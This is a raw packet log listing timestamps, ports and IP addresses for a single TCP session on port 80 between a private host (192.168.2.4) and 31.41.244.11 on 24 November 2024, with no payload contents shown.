Nov 24, 2024 14:24:19.814063072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.814111948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.815001965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.815053940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.815098047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.815146923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.816143990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.816193104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.816265106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.816312075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.817281961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.817332029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.817404032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.817451000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.818546057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.818587065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.818608999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.818645000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.819600105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.819652081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.819741964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.819791079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.820708990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.820758104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.820820093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.820868969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.821814060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.821863890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.821945906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.821993113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.822973013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.823024035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.823082924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.823134899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.824105024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.824153900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.824206114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.824254036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.825248003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.825292110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.825366020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.825414896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.826373100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.826422930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.826479912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.826527119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.827526093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.827574015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.969094038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.969201088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.969221115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.969258070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.969584942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.969741106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.969758034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.969788074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.970782995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.970839024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.970870018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.970917940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.971940041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.971993923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.972040892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.972090960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.973077059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.973129988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.973223925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.973268032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.974234104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.974286079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.974313021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.974354029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.975318909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.975367069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.975446939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.975495100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.976473093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.976526022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.976567030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.976609945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.977611065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.977663994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.977741003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.977790117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.978696108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.978744030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.978854895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.978903055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.979836941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.979885101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.979949951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.980000019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.981008053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.981056929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.981110096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.981159925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.982124090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.982167959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.982295990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.982345104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.983243942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.983289957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.983442068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.983490944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.984407902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.984453917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.984520912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.984570026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.985526085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.985586882 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.985666037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.985729933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.986650944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.986701965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.986728907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.986777067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.987947941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.987998009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.988096952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.988146067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.988961935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.989012003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.989093065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.989145994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.990114927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.990169048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.990207911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.990258932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.991235018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.991277933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.991408110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.991455078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.992373943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.992424011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.992491961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.992556095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.993537903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.993588924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.993684053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.993732929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.994657993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.994709015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.994748116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.994791031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.995964050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.996012926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.996048927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.996095896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.996915102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.996963024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.997045040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.997096062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.998081923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.998131990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.998220921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.998270035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.999190092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.999239922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.999281883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.999377966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.000319004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.000370026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.000411034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.000456095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.001450062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.001502037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.001847982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.001898050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.002711058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.002762079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.002835989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.002883911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.003807068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.003859043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.003875017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.003904104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.004889965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.004941940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.004985094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.005039930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.006004095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.006052971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.006097078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.006149054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.007157087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.007210016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.007249117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.007302999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.008286953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.008351088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.008388996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.008439064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.009421110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.009465933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.009509087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.009557962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.010531902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.010586977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.010628939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.010699987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.011698961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.011748075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.011785984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.011835098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.012831926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.012878895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.012969971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.013020039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.014054060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.014113903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.014158964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.014209986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.015104055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.015155077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.015161037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.015213013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.016241074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.016285896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.016351938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.016396046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.017370939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.017406940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.017429113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.017460108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.018529892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.018569946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.018579006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.018609047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.019653082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.019702911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.019745111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.019794941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.020776033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.020828009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.020890951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.020941973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.021909952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.021960974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.022032022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.022077084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.023164988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.023233891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.023303986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.023356915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.024210930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.024260998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.024337053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.024389982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.025360107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.025398016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.025409937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.025438070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.026484013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.026534081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.026563883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.026607037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.027631998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.027681112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.027811050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.027859926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.028754950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.028806925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.170578003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.170665979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.170747042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.170802116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.265727043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.265789986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.270256996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.270325899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.290215969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.290277004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.290321112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.290385962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385410070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385607958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385613918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385618925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385624886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385632038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385637045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385643005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385648012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385653973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385658979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385664940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385669947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385675907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385680914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385687113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385691881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385695934 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385704041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385782003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385791063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385795116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385806084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385816097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385826111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385835886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385835886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385845900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385857105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385858059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385867119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385876894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385883093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385883093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385888100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385898113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385907888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385907888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385917902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385929108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385938883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385953903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385966063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385974884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385977030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385974884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.385986090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.385998011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386009932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386012077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386019945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386030912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386040926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386046886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386050940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386061907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386063099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386073112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386081934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386085033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386095047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386100054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386116028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386118889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.386132956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.386145115 CET	80	49778	31.41.244.11	192.168.2.4
